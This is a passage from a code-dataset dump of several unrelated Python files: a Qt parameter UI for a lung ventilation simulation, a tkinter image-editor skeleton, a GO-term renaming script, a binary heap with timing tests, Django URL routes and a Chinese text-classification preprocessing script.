self._map_ui_to_keys[self._ui.checkBoxInBuiltFlow] = 'flow_inbuilt'\n self._map_keys_to_ui['flow_exelem'] = self._ui.lineEditFlow\n self._map_ui_to_keys[self._ui.lineEditFlow] = 'flow_exelem'\n self._map_keys_to_ui['terminal_exnode'] = self._ui.lineEditTerminalExNode\n self._map_ui_to_keys[self._ui.lineEditTerminalExNode] = 'terminal_exnode'\n self._map_keys_to_ui['tree_exnode'] = self._ui.lineEditTreeExNode\n self._map_ui_to_keys[self._ui.lineEditTreeExNode] = 'tree_exnode'\n self._map_keys_to_ui['tree_exelem'] = self._ui.lineEditTreeExElem\n self._map_ui_to_keys[self._ui.lineEditTreeExElem] = 'tree_exelem'\n self._map_keys_to_ui['ventilation_exelem'] = self._ui.lineEditVentilationExElem\n self._map_ui_to_keys[self._ui.lineEditVentilationExElem] = 'ventilation_exelem'\n self._map_keys_to_ui['radius_exelem'] = self._ui.lineEditRadiusExElem\n self._map_ui_to_keys[self._ui.lineEditRadiusExElem] = 'radius_exelem'\n\n # Main parameters\n self._map_keys_to_ui['dt'] = self._ui.doubleSpinBoxTimeStep\n self._map_ui_to_keys[self._ui.doubleSpinBoxTimeStep] = 'dt'\n self._map_keys_to_ui['num_itns'] = self._ui.spinBoxNumberOfIterations\n self._map_ui_to_keys[self._ui.spinBoxNumberOfIterations] = 'num_itns'\n self._map_keys_to_ui['num_brths'] = self._ui.spinBoxNumberOfBreaths\n self._map_ui_to_keys[self._ui.spinBoxNumberOfBreaths] = 'num_brths'\n self._map_keys_to_ui['err_tol'] = self._ui.doubleSpinBoxErrorTolerance\n self._map_ui_to_keys[self._ui.doubleSpinBoxErrorTolerance] = 'err_tol'\n\n # Flow parameters\n self._map_keys_to_ui['FRC'] = self._ui.doubleSpinBoxFRC\n self._map_ui_to_keys[self._ui.doubleSpinBoxFRC] = 'FRC'\n self._map_keys_to_ui['constrict'] = self._ui.doubleSpinBoxConstrict\n self._map_ui_to_keys[self._ui.doubleSpinBoxConstrict] = 'constrict'\n self._map_keys_to_ui['T_interval'] = self._ui.doubleSpinBoxTInterval\n self._map_ui_to_keys[self._ui.doubleSpinBoxTInterval] = 'T_interval'\n self._map_keys_to_ui['Gdirn'] = self._ui.spinBoxGdirn\n self._map_ui_to_keys[self._ui.spinBoxGdirn] = 'Gdirn'\n self._map_keys_to_ui['press_in'] = self._ui.doubleSpinBoxPressIn\n self._map_ui_to_keys[self._ui.doubleSpinBoxPressIn] = 'press_in'\n self._map_keys_to_ui['COV'] = self._ui.doubleSpinBoxCOV\n self._map_ui_to_keys[self._ui.doubleSpinBoxCOV] = 'COV'\n self._map_keys_to_ui['RMaxMean'] = self._ui.doubleSpinBoxRMaxMean\n self._map_ui_to_keys[self._ui.doubleSpinBoxRMaxMean] = 'RMaxMean'\n self._map_keys_to_ui['RMinMean'] = self._ui.doubleSpinBoxRMinMean\n self._map_ui_to_keys[self._ui.doubleSpinBoxRMinMean] = 'RMinMean'\n self._map_keys_to_ui['i_to_e_ratio'] = self._ui.doubleSpinBoxIERatio\n self._map_ui_to_keys[self._ui.doubleSpinBoxIERatio] = 'i_to_e_ratio'\n self._map_keys_to_ui['refvol'] = self._ui.doubleSpinBoxRefVolume\n self._map_ui_to_keys[self._ui.doubleSpinBoxRefVolume] = 'refvol'\n self._map_keys_to_ui['volume_target'] = self._ui.doubleSpinBoxVolumeTarget\n self._map_ui_to_keys[self._ui.doubleSpinBoxVolumeTarget] = 'volume_target'\n self._map_keys_to_ui['pmus_step'] = self._ui.doubleSpinBoxPMusStep\n self._map_ui_to_keys[self._ui.doubleSpinBoxPMusStep] = 'pmus_step'\n self._map_keys_to_ui['expiration_type'] = self._ui.comboBoxExpirationType\n self._map_ui_to_keys[self._ui.comboBoxExpirationType] = 'expiration_type'\n self._map_keys_to_ui['chest_wall_compliance'] = self._ui.doubleSpinBoxChestWallCompliance\n self._map_ui_to_keys[self._ui.doubleSpinBoxChestWallCompliance] = 'chest_wall_compliance'\n\n # Chooser button buddies\n self._map_chooser_to_line_edit[self._ui.pushButtonChooseExecutable] = self._ui.lineEditExecutable\n self._map_chooser_to_line_edit[self._ui.pushButtonChooseTreeExElem] = self._ui.lineEditTreeExElem\n self._map_chooser_to_line_edit[self._ui.pushButtonChooseTreeExNode] = self._ui.lineEditTreeExNode\n self._map_chooser_to_line_edit[self._ui.pushButtonChooseFlow] = self._ui.lineEditFlow\n self._map_chooser_to_line_edit[self._ui.pushButtonChooseIpElem] = self._ui.lineEditIpElem\n self._map_chooser_to_line_edit[self._ui.pushButtonChooseIpField] = self._ui.lineEditIpField\n self._map_chooser_to_line_edit[self._ui.pushButtonChooseIpNode] = self._ui.lineEditIpNode\n self._map_chooser_to_line_edit[self._ui.pushButtonChooseIpMesh] = self._ui.lineEditIpMesh\n self._map_chooser_to_line_edit[self._ui.pushButtonChooseTerminalExNode] = self._ui.lineEditTerminalExNode\n self._map_chooser_to_line_edit[self._ui.pushButtonChooseVentilationExElem] = self._ui.lineEditVentilationExElem\n self._map_chooser_to_line_edit[self._ui.pushButtonChooseRadiusExElem] = self._ui.lineEditRadiusExElem\n\n def _makeConnections(self):\n self._ui.pushButtonChooseExecutable.clicked.connect(self._executableChooserClicked)\n\n self._ui.pushButtonChooseTreeExElem.clicked.connect(self._chooserClicked)\n self._ui.pushButtonChooseTreeExNode.clicked.connect(self._chooserClicked)\n self._ui.pushButtonChooseFlow.clicked.connect(self._chooserClicked)\n self._ui.pushButtonChooseIpElem.clicked.connect(self._chooserClicked)\n self._ui.pushButtonChooseIpField.clicked.connect(self._chooserClicked)\n self._ui.pushButtonChooseIpNode.clicked.connect(self._chooserClicked)\n self._ui.pushButtonChooseIpMesh.clicked.connect(self._chooserClicked)\n self._ui.pushButtonChooseTerminalExNode.clicked.connect(self._chooserClicked)\n self._ui.pushButtonChooseVentilationExElem.clicked.connect(self._chooserClicked)\n self._ui.pushButtonChooseRadiusExElem.clicked.connect(self._chooserClicked)\n\n self._ui.checkBoxInBuiltExecutable.clicked.connect(self._inBuiltExecutableClicked)\n self._ui.lineEditExecutable.editingFinished.connect(self._executableLocationChanged)\n self._ui.checkBoxInBuiltFlow.clicked.connect(self._inBuiltFlowClicked)\n self._ui.checkBoxInBuiltTree.clicked.connect(self._inBuiltTreeClicked)\n\n # Main parameters\n self._ui.doubleSpinBoxTimeStep.valueChanged.connect(self._updateMainParameterValue)\n self._ui.spinBoxNumberOfIterations.valueChanged.connect(self._updateMainParameterValue)\n self._ui.spinBoxNumberOfBreaths.valueChanged.connect(self._updateMainParameterValue)\n self._ui.doubleSpinBoxErrorTolerance.valueChanged.connect(self._updateMainParameterValue)\n\n # Flow parameters\n self._ui.doubleSpinBoxFRC.valueChanged.connect(self._updateFlowParameterValue)\n self._ui.doubleSpinBoxConstrict.valueChanged.connect(self._updateFlowParameterValue)\n self._ui.doubleSpinBoxTInterval.valueChanged.connect(self._updateFlowParameterValue)\n self._ui.spinBoxGdirn.valueChanged.connect(self._updateFlowParameterValue)\n self._ui.doubleSpinBoxPressIn.valueChanged.connect(self._updateFlowParameterValue)\n self._ui.doubleSpinBoxCOV.valueChanged.connect(self._updateFlowParameterValue)\n self._ui.doubleSpinBoxRMaxMean.valueChanged.connect(self._updateFlowParameterValue)\n self._ui.doubleSpinBoxRMinMean.valueChanged.connect(self._updateFlowParameterValue)\n self._ui.doubleSpinBoxIERatio.valueChanged.connect(self._updateFlowParameterValue)\n self._ui.doubleSpinBoxRefVolume.valueChanged.connect(self._updateFlowParameterValue)\n self._ui.doubleSpinBoxVolumeTarget.valueChanged.connect(self._updateFlowParameterValue)\n self._ui.doubleSpinBoxPMusStep.valueChanged.connect(self._updateFlowParameterValue)\n self._ui.comboBoxExpirationType.currentIndexChanged.connect(self._updateFlowParameterValue)\n self._ui.doubleSpinBoxChestWallCompliance.valueChanged.connect(self._updateFlowParameterValue)\n\n def _inBuiltExecutableClicked(self):\n state = self._ui.checkBoxInBuiltExecutable.isChecked()\n self._ui.lineEditExecutable.setEnabled(not state)\n self._ui.pushButtonChooseExecutable.setEnabled(not state)\n if state:\n self._ui.lineEditExecutable.clear()\n self._problem.setInBuiltExecutable(getExecutableForPlatform())\n\n def _inBuiltFlowClicked(self):\n state = self._ui.checkBoxInBuiltFlow.isChecked()\n key = self._map_ui_to_keys[self._ui.checkBoxInBuiltFlow]\n self._problem.updateFileInputOutputs({key: state})\n self._ui.lineEditFlow.setEnabled(not state)\n self._ui.pushButtonChooseFlow.setEnabled(not state)\n\n def _inBuiltTreeClicked(self):\n state = self._ui.checkBoxInBuiltTree.isChecked()\n key = self._map_ui_to_keys[self._ui.checkBoxInBuiltTree]\n self._problem.updateFileInputOutputs({key: state})\n self._ui.lineEditIpElem.setEnabled(not state)\n self._ui.pushButtonChooseIpElem.setEnabled(not state)\n self._ui.lineEditIpField.setEnabled(not state)\n self._ui.pushButtonChooseIpField.setEnabled(not state)\n self._ui.lineEditIpNode.setEnabled(not state)\n self._ui.pushButtonChooseIpNode.setEnabled(not state)\n\n def _isEnumParameter(self, parameter):\n enum_parameters = ['expiration_type']\n\n return parameter in enum_parameters\n\n def _isCheckBox(self, key):\n check_boxes = ['tree_inbuilt', 'flow_inbuilt']\n\n return key in check_boxes\n\n def _isOutputFile(self, key):\n output_files = ['terminal_exnode', 'tree_exnode', 'tree_exelem', 'ventilation_exelem', 'radius_exelem']\n\n return key in output_files\n\n def _updateExecutableParameters(self):\n state = self._problem.isInBuiltExecutable()\n self._ui.checkBoxInBuiltExecutable.setChecked(state)\n self._inBuiltExecutableClicked()\n if not state:\n self._ui.lineEditExecutable.setText(self._problem.getExecutable())\n\n def _updateFileInputOutputs(self):\n p = self._problem.getFileInputOutputs()\n for k in p:\n ui = self._map_keys_to_ui[k]\n if self._isCheckBox(k):\n ui.setChecked(p[k])\n else:\n ui.setText(p[k])\n\n self._inBuiltFlowClicked()\n self._inBuiltTreeClicked()\n\n def _updateMainParameters(self):\n p = self._problem.getMainParameters()\n for k in p:\n ui = self._map_keys_to_ui[k]\n ui.setValue(p[k])\n\n def _updateFlowParameters(self):\n p = self._problem.getFlowParameters()\n for k in p:\n ui = self._map_keys_to_ui[k]\n if self._isEnumParameter(k):\n ui.setCurrentIndex(self._map_string_to_expiration_index[p[k]])\n else:\n ui.setValue(p[k])\n\n def _executableLocationChanged(self):\n self._problem.setExecutable(self._ui.lineEditExecutable.text())\n\n def _executableChooserClicked(self):\n sender = self.sender()\n line_edit = self._map_chooser_to_line_edit[sender]\n text = line_edit.text()\n location = os.path.dirname(text) if text else self._location if self._location is not None else os.path.expanduser(\"~\")\n filename, _ = QtGui.QFileDialog.getOpenFileName(self, caption='Choose executable ...', dir=location,\n filter=\"Executable (*.exe *);;All (*.* *)\")\n if filename:\n self._location = os.path.dirname(filename)\n self._problem.setExecutable(filename)\n line_edit.setText(filename)\n\n def _chooserClicked(self):\n sender = self.sender()\n line_edit = self._map_chooser_to_line_edit[sender]\n key = self._map_ui_to_keys[line_edit]\n text = line_edit.text()\n location = os.path.dirname(text) if text else self._location if self._location is not None else os.path.expanduser(\"~\")\n if self._isOutputFile(key):\n filename, _ = QtGui.QFileDialog.getSaveFileName(self, caption='Choose file ...', dir=location,\n filter=\"Iron, Zinc Files (*.exnode *.exelem);;All (*.* *)\")\n else:\n filename, _ = QtGui.QFileDialog.getOpenFileName(self, caption='Choose file ...', dir=location,\n filter=\"Iron, Zinc Files (*.exnode *.exelem *.ipelem *.ipnode *.ipfiel);;All (*.* *)\")\n if filename:\n self._location = os.path.dirname(filename)\n self._problem.updateFileInputOutputs({key: filename})\n line_edit.setText(filename)\n\n def _updateMainParameterValue(self):\n sender = self.sender()\n\n key = self._map_ui_to_keys[sender]\n self._problem.updateMainParameters({key: sender.value()})\n\n def _updateFlowParameterValue(self):\n sender = self.sender()\n key = self._map_ui_to_keys[sender]\n if self._isEnumParameter(key):\n self._problem.updateFlowParameters({key: self._map_expiration_index_to_string[sender.currentIndex()]})\n else:\n self._problem.updateFlowParameters({key: sender.value()})\n\n def serialize(self):\n d = {}\n d['location'] = self._location\n d['active_tab'] = self._ui.tabWidget.currentIndex()\n d['problem'] = self._problem.serialize()\n\n return json.dumps(d)\n\n def deserialize(self, string):\n d = json.loads(string)\n self._location = d['location'] if 'location' in d else None\n self._ui.tabWidget.setCurrentIndex(d['active_tab'] if 'active_tab' in d else 2)\n if 'problem' in d:\n self._problem.deserialize(d['problem'])\n\n self.updateUi()\n\n def updateUi(self):\n self._updateExecutableParameters()\n self._updateFileInputOutputs()\n self._updateMainParameters()\n self._updateFlowParameters()\n","sub_path":"src/opencmiss/neon/ui/problems/ventilation.py","file_name":"ventilation.py","file_ext":"py","file_size_in_byte":16809,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"287188385","text":"import tkinter as tk\n\n#Klasa pierwszego, powitalnego okna\nclass FirstWindow:\n def __init__(self, first_gui):\n #Ustawienia okna\n self.first_gui = first_gui\n self.first_gui.geometry(\"500x300\")\n self.first_gui.title(\"PyPhotoshop v1.0.0\")\n # W first_gui działa dodanie ikony okna a w second_gui już nie\n # self.first_gui.wm_iconbitmap(bitmap = \"camera.ico\")\n\n #Stworzenie i ustawienie frame, label i button \n self.HelloFrame = tk.Frame(self.first_gui)\n self.HelloFrame.pack(padx = 10, pady = 10)\n\n self.LabelHello = tk.Label(self.HelloFrame, text = \"Witaj! Załącz plik do edycji\", font = (\"Arial\", 20))\n self.LabelHello.grid(row = 1, column = 1, pady = 40)\n\n self.ButtonHello = tk.Button(self.HelloFrame, text = \"Załącz\", height = 3, width = 10, font = 10, command = self.NewWindow)\n self.ButtonHello.grid(row = 5, column = 1, pady = 40)\n\n\n #Komenda do zmieny okna\n def NewWindow(self):\n self.first_gui.destroy() #Usunięcie pierwszego ona\n self.second_gui = tk.Tk() #Stworzenie drugiego okna\n self.app = SecondWindow(self.second_gui) #Wywołanie drugiego ona? Nie do końca wiem bo musiałem się wspomóc stackoverflow\n self.second_gui.mainloop()\n\n#Klasa drugiego okna \"Głównego\"\nclass SecondWindow:\n def __init__(self, second_gui):\n #Ustawenia okna\n self.second_gui = second_gui\n self.second_gui.geometry(\"804x589\")\n self.second_gui.title(\"PyPhotoshop v1.0.0\")\n # W first_gui działa dodanie ikony okna a w second_gui już nie\n # self.second_gui.wm_iconbitmap(bitmap = \"camera.ico\")\n\n #Stworzenie i ustawienie frame dla widgetow (TopBarFrame dla przycisku plik i opcje na samej górze, BarFrame dla 10 przycisków poniżej)\n self.WidgetTopBarFrame = tk.Frame(self.second_gui)\n self.WidgetTopBarFrame.place(x = 0, y = 0)\n\n self.WidgetBarFrame = tk.Frame(self.second_gui)\n self.WidgetBarFrame.place(x = 0, y = 30)\n \n #Ustawienie pozycji 10 przycisków\n def SetBarGrid(ButtonList):\n for Button in ButtonList:\n Button.pack(side = tk.LEFT)\n\n def SetTopBarGrid(ButtonTopList):\n ### Wersja robocza, potem to zmienie\n # self.x1, self.y1 = 0, 0\n # for Button in ButtonTopList:\n # Button.grid(row = self.x1, column = self.y1)\n # self.y1 += 1\n ###\n #Ustawienie przycisków plik i opcje \n for Button in ButtonTopList:\n Button.pack(side = tk.LEFT)\n\n\n self.AllTopBarButton = [] #Lista do której dodaje przyciski plik i opcje, potrzebne do ustawienia pozycji\n\n #Tworzenie przycisków plik i opcje\n for tb in range(2):\n self.TopBarButton = tk.Button(self.WidgetTopBarFrame)\n self.TopBarButton.config(text = \"Plik\" if tb == 1 else \"Opcje\")\n self.AllTopBarButton.append(self.TopBarButton)\n\n self.AllBarButton = [] ##Lista do której dodaje 10 przycisków, potrzebne do ustawienia pozycji\n\n #Tworzenie 10 przycisków (funkcyjnych? Wiadomo o co chodzi :) )\n for bb in range(10):\n self.BarButton = tk.Button(self.WidgetBarFrame, text = \"Opcja\" + str(bb), width = 10, height = 3)\n self.AllBarButton.append(self.BarButton)\n\n SetBarGrid(self.AllBarButton) #Wywołanie komendy ustawenia przycisków\n SetTopBarGrid(self.AllTopBarButton) #Wywołanie komendy ustawenia przycisków\n\n #Stworzenie i ustawienie canvasa\n self.canvas = tk.Canvas(second_gui, width = 800, height = 500, bg = \"red\")\n self.canvas.place(x = 0, y = 85)\n\n\n \n \n### Nie jestem pewien co to jest bo jak już pisałem musaiłem się wpomóc stackiem ale prawdopodobnie w tym miejscu aplikacja startuje \ndef main():\n root = tk.Tk()\n app = FirstWindow(root)\n root.mainloop()\n###\n\n###Wywołuje funkcje main ale po co i jak to działa to nie wiem, jak to usunąłem to program nie chciał ruszyć \nif __name__ == '__main__':\n main()\n###\n\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4129,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"108581184","text":"#!/usr/bin/python3\n# GO_renamer.py by josh\n\nimport sys\nimport os\nimport re\nimport glob\nfrom decimal import *\n\nsituDependent = [\"positive regulation of small intestine smooth muscle contraction\", \"urogenital system development\",\n\"endodermal digestive tract morphogenesis\", \"common bile duct development\", \n\n\"hepatocyte proliferation\",\"liver regeneration\", \"negative regulation of hepatocyte apoptotic process\",\n\n\"negative regulation of apoptotic process involved in metanephric collecting duct development\", \n\"metanephric mesenchymal cell differentiation\", \"metanephros development\", \"regulation of metanephros size\", \n\"renal phosphate ion absorption\", \"kidney development\", \"renal sodium ion transport\", \"renal glucose absorption\",\n\n\"type B pancreatic cell apoptotic process\", \"pancreatic juice secretion\",\n\"exocrine pancreas development\", \"pancreas morphogenesis\", \"regulation of type B pancreatic cell proliferation\",\n\"negative regulation of pancreatic juice secretion\", \"positive regulation of type B pancreatic cell proliferation\",\n\"positive regulation of type B pancreatic cell apoptotic process\", \"pancreas morphogenesis\",\n\"type B pancreatic cell proliferation\", \"exocrine pancreas development\",\n\"type B pancreatic cell development\"\n]\n\noutDir = \"renamed_GO_files\"\n\nif not os.path.isdir(outDir):\n os.makedirs(outDir)\n\ninterestingDict = {}\n\nif os.path.isfile(\"temp_GO_terms.tsv\"):\n inFile = open(\"temp_GO_terms.tsv\", \"r\")\n for line in inFile:\n line = line.strip()\n goTerm = line.split(\"\\t\")[0]\n description = line.split(\"\\t\")[1]\n interestingDict[goTerm] = [description, 0]\n inFile.close()\n tempFile = open(\"temp_GO_terms.tsv\", \"a\")\nelse:\n tempFile = open(\"temp_GO_terms.tsv\", \"w\")\n\n\ndiscardedTerms = ['GO:0060707', 'GO:2001136', 'GO:1990828', 'GO:1990927', 'GO:0005989', 'GO:0060152', 'GO:0010360', 'GO:0031663', 'GO:1903141', 'GO:0072365', 'GO:0006535', 'GO:0060402', 'GO:0033572', 'GO:0048017', 'GO:0010523', 'GO:0034628', 'GO:0034553', 'GO:0014053', 'GO:0009450', 'GO:0032515', 'GO:0042592', 'GO:0032962', 'GO:0006809', 'GO:0035732', 'GO:0031325', 'GO:0019878', 'GO:0043666', 'GO:0006713', 'GO:0031587', 'GO:0018910', 'GO:0042197', 'GO:1901843', 'GO:0032981', 'GO:0015015', 'GO:2000187', 'GO:0019858', 'GO:0018916', 'GO:0042423', 'GO:0006532', 'GO:2001272', 'GO:0019264', 'GO:0010524', 'GO:0080163', 'GO:0003029', 'GO:0008299', 'GO:0009100', 'GO:0006639']\n\nif os.path.isfile(\"interesting_GO_terms.tsv\"):\n inFile = open(\"interesting_GO_terms.tsv\", \"r\")\n for line in inFile:\n line = line.strip()\n goTerm = line.split(\"\\t\")[0]\n description = line.split(\"\\t\")[1]\n interestingDict[goTerm] = [description, 0]\n inFile.close()\n\ngoFiles = [os.path.basename(x) for x in glob.glob(\"./*REVIGO_medium.tsv\")]\n\ngoFiles.sort()\n\nprint(len(goFiles))\n\nfor idx, goFile in enumerate(goFiles):\n print(idx, goFile)\n inFile = open(goFile, \"r\")\n for indx, line in enumerate(inFile):\n line = line.strip()\n if indx == 0:\n continue\n lineParts = line.split(\"\\t\")\n if not len(lineParts) > 10:\n print(line)\n sys.exit(\"Error, line not expected length\")\n goTerm = lineParts[0]\n description = lineParts[1]\n description = description.replace(\"\\\"\", \"\")\n if goTerm in interestingDict:\n interestingDict[goTerm][1] += 1\n continue\n if goTerm in discardedTerms:\n continue\n if len(lineParts) == 12 and goTerm not in interestingDict:\n if lineParts[11] != \"1\":\n print(line)\n sys.exit(\"Error, last column not in expected format\")\n print(line)\n print(description)\n keep = input(\"Marked term, keep?\")\n while keep not in (\"y\", \"n\", \"remove\"):\n keep = input(\"Marked term, keep?\")\n if keep == \"y\":\n interestingDict[goTerm] = [description, 1]\n tempFile.write(\"\\t\".join([goTerm, description]) + \"\\n\")\n if keep == \"n\" and goTerm not in discardedTerms:\n discardedTerms.append(goTerm)\n if keep == \"remove\":\n del interestingDict[previousTerm]\n while keep not in (\"y\", \"n\"):\n keep = input(\"Marked term, keep?\")\n if keep == \"y\":\n interestingDict[goTerm] = [description, 1]\n tempFile.write(\"\\t\".join([goTerm, description]) + \"\\n\")\n previousTerm = goTerm\n inFile.close()\n\nprint(len(interestingDict))\n\ninput(\"Press enter to continue...\")\n\nfor idx, goFile in enumerate(goFiles):\n print(idx, goFile)\n outFileName = \"{}/{}\".format(outDir, goFile)\n outFile = open(outFileName, \"w\")\n inFile = open(goFile, \"r\")\n for indx, line in enumerate(inFile):\n line = line.strip()\n if indx == 0:\n outFile.write(line + \"\\n\")\n continue\n lineParts = line.split(\"\\t\")\n if not len(lineParts) > 10:\n print(line)\n sys.exit(\"Error, line not expected length\")\n goTerm = lineParts[0]\n description = lineParts[1]\n description = description.replace(\"\\\"\", \"\")\n if goTerm == \"GO:0008150\":\n if not description == \"biological_process\":\n print(description)\n sys.exit(\"Error, BP go mismatch\")\n continue\n if description == \"biological_process\":\n if not goTerm == \"GO:0001850\":\n print(goTerm)\n sys.exit(\"Error, BP go mismatch\")\n continue\n if goTerm not in interestingDict and len(lineParts) == 12:\n if lineParts[11] != \"1\":\n print(line)\n sys.exit(\"Error, last column not in expected format\")\n print(line)\n print(description)\n if goTerm in discardedTerms:\n keep = \"n\"\n else:\n keep = input(\"Marked term not in dictionary, keep?\")\n while keep not in (\"y\", \"n\"):\n keep = input(\"Marked term not in dictionary, keep?\")\n if keep == \"y\":\n interestingDict[goTerm] = [description, 1]\n lineParts.append(\"1\")\n tempFile.write(\"\\t\".join([goTerm, description]) + \"\\n\")\n if keep == \"n\":\n lineParts = lineParts[0:11]\n if goTerm in interestingDict and len(lineParts) == 11:\n print(description)\n if description not in situDependent:\n response = \"y\"\n else:\n response = input(\"Add 1 to outfile?\")\n while response not in (\"y\", \"n\"):\n response = input(\"Add 1 to outfile?\")\n if response == \"y\":\n lineParts.append(\"1\")\n description = description.replace(\"positive\", \"pos.\")\n description = description.replace(\"negative\", \"neg.\")\n description = description.replace(\"regulation\", \"reg.\")\n description = description.replace(\"lic process\", \"lism\")\n description = description.replace(\"tic process\", \"sis\")\n description = description.replace(\"reactive oxygen species\", \"ROS\")\n if len(lineParts) == 11:\n lineParts.append(\"\")\n outFile.write(\"\\t\".join([goTerm, description, \"\\t\".join(lineParts[2:])]) + \"\\n\")\n inFile.close()\n outFile.close()\n\ntempFile.close()\n\noutFile = open(\"interesting_GO_terms.tsv\" , \"w\")\n\nfor goTerm in interestingDict:\n description = interestingDict[goTerm][0]\n count = interestingDict[goTerm][1]\n print(goTerm, description, count)\n outFile.write(\"\\t\".join([goTerm, description, str(count)]) + \"\\n\")\n\noutFile.close()\n\nprint(discardedTerms)\n\nquit()\n\n\n\n","sub_path":"go_renamer.py","file_name":"go_renamer.py","file_ext":"py","file_size_in_byte":7735,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"139259059","text":"#Ryan Kelly\n#2/11/2019\n#CS260\n\nimport timeit\nimport random\n\n\n#This is my attempt at making heap\nclass MakeHeap:\n\n # Heap list\n # Current Size of the heap\n def __init__(self):\n self.heapL = [0]\n self.CSize = 0\n\n # Building the heap\n def buildHeap(self,alist):\n n = len(alist) // 2\n self.CSize = len(alist)\n self.heapL = [0] + alist[:]\n while (n > 0):\n self.Down(n)\n n = n - 1\n\n # Finds the smallest child\n def MinC(self,n):\n if n * 2 + 1 > self.CSize:\n return n * 2\n else:\n if self.heapL[n*2] < self.heapL[n*2+1]:\n return n * 2\n else:\n return n * 2 + 1\n\n # deletes the min\n def delMin(self):\n r = self.heapL[1]\n self.heapL[1] = self.heapL[self.CSize]\n self.CSize = self.CSize - 1\n self.heapL.pop()\n self.Down(1)\n return r\n\n # Goes down the tree\n def Down(self, n):\n while (n * 2) <= self.CSize:\n mc = self.MinC(n)\n if self.heapL[n] > self.heapL[mc]:\n temp = self.heapL[n]\n self.heapL[n] = self.heapL[mc]\n self.heapL[mc] = temp\n n = mc\n\n\nprob1 = []\ncount = []\ni = 1\n\nwhile i <= 10:\n testL = random.sample(range(1,50),10)\n mytime = timeit.Timer('MH.buildHeap('+str(testL)+')','from __main__ import MakeHeap; MH=MakeHeap()')\n delta = mytime.timeit(1)\n prob1.append(delta)\n count.append(i)\n i += 1\n\nfmt = '%-8s%-20s%s'\nprint(\"-------Prob1-------\")\nprint(fmt %('','N','Time'))\nfor i,(N,Time) in enumerate(zip(count,prob1)):\n print(fmt % (i, N, Time))\n\n","sub_path":"DataStructures/Heap.py","file_name":"Heap.py","file_ext":"py","file_size_in_byte":1623,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"498662056","text":"from django.conf.urls import url\nimport api_views as views\nimport login_views as access\nimport step\n\nurlpatterns = [\n url(r'^getcivi$', views.getCivi, name='civi'),\n url(r'^topten$', views.topTen, name='example'),\n url(r'^articles$', views.getArticles, name='get articles'),\n url(r'^categories$', views.getCategories, name='get categories'),\n url(r'^user$', views.getUser, name='get user'),\n url(r'^adduser$', views.addUser, name='add user'),\n url(r'^addcivi$', views.addCivi, name='add civi'),\n url(r'^reportvote$', views.reportVote, name='report vote'),\n url(r'^getblock$', views.getBlock, name='get block'),\n url(r'^step$', step.stepTest, name='step algo'),\n url(r'^backend/link$',views.linkCivis, name='link civis'),\n url(r'^login', access.login, name='login'),\n url(r'^register', access.register, name='login')\n]\n","sub_path":"civiwiki/api/api_urls.py","file_name":"api_urls.py","file_ext":"py","file_size_in_byte":857,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"161167539","text":"import re\nimport os\nimport numpy as np\nimport random\nimport tensorflow.contrib.keras as kr\nimport jieba\n\ncategories = {\n \"C000008\": 0,\n \"C000010\": 1,\n \"C000013\": 2,\n \"C000014\": 3,\n \"C000016\": 4,\n \"C000020\": 5,\n \"C000022\": 6,\n \"C000023\": 7,\n \"C000024\": 8\n }\nnum_category = 9 # 类别数\n\n\nclass Data(object):\n \"\"\"清洗训练数据,去除数据中的非中文数字字母字符,并对文件进行分词\"\"\"\n\n @staticmethod\n def load_stop_words(stop_words_src):\n stop_words = []\n with open(stop_words_src, \"r\", encoding='utf8') as f:\n lines = f.readlines()\n for line in lines:\n stop_words.append(line.strip())\n return stop_words\n\n @staticmethod\n def clean_sentence(sentence):\n # 抽出中文字符\n sentence = re.sub(r\"[^\\u4e00-\\u9fff]\", \" \", sentence)\n\n # 删除两个以上连续空白符\n sentence = re.sub(r\"\\s{2,}\", \" \", sentence)\n\n return sentence.strip()\n\n # 处理一个文件\n def segmentation(self, file_src, output_src, stop_words):\n sentence_list = []\n\n with open(file_src, \"r\", encoding=\"gbk\", errors=\"ignore\") as f:\n content = f.read()\n sentences = content.replace('\\t', '').replace('\\u3000', '').split(\"\\n\")\n for sentence in sentences:\n sentence = self.clean_sentence(sentence)\n if len(sentence):\n sentence_list.append(sentence)\n\n if len(sentence_list) == 0:\n return False\n\n output_file = open(output_src, \"a\", encoding=\"utf-8\")\n sentence_segment = []\n for sentence in sentence_list:\n # 分词\n words = jieba.lcut(sentence)\n for word in words:\n if not len(word):\n continue\n # 去停用词\n if word not in stop_words:\n sentence_segment.append(word)\n output_file.write(\" \".join(sentence_segment))\n output_file.close()\n return True\n\n # 批量处理\n # 同时保存一个输出文件列表\n def batch_process(self, dirs_src, output_src, stop_words):\n if not os.path.exists(output_src):\n os.mkdir(output_src)\n data_set = {}\n dir_list = os.listdir(dirs_src)\n invalid_files = []\n for dir_name in dir_list:\n if dir_name not in categories:\n continue\n\n output_dir = os.path.join(output_src, dir_name)\n if os.path.exists(output_dir) is not True:\n os.mkdir(output_dir)\n\n dir_src = os.path.join(dirs_src, dir_name)\n category = categories[dir_name]\n\n if str(category) not in data_set:\n data_set[str(category)] = []\n\n file_list = os.listdir(dir_src)\n for file in file_list:\n if file.endswith(\".txt\") is not True:\n continue\n\n output_file_src = os.path.join(output_dir, file.replace(\"txt\", str(category)))\n input_file_src = os.path.join(dir_src, file)\n\n result = self.segmentation(input_file_src, output_file_src, stop_words)\n if result:\n data_set[str(category)].append(output_file_src)\n print(\"{} is cut successfully\".format(output_file_src))\n else:\n # print(\"{} is Null\".format(input_file_src))\n invalid_files.append(input_file_src)\n\n if len(invalid_files) > 0:\n print(\"无效文件:\")\n for file in invalid_files:\n print(file)\n\n np.save(os.path.join(output_src, \"file_list.npy\"), data_set)\n print(\"Finish\")\n\n # 划分数据集\n @staticmethod\n def divide_data_set(file_list_src, output_src, proportion):\n if not os.path.exists(output_src):\n os.mkdir(output_src)\n data_set = np.load(file_list_src).item()\n train_data_set = []\n verify_data_set = []\n test_data_set = []\n\n for category in data_set:\n data_cnt = len(data_set[category])\n index_list = random.sample(range(data_cnt), data_cnt)\n\n middle = int(data_cnt * proportion[0])\n end = int(data_cnt * proportion[1]) + middle\n\n 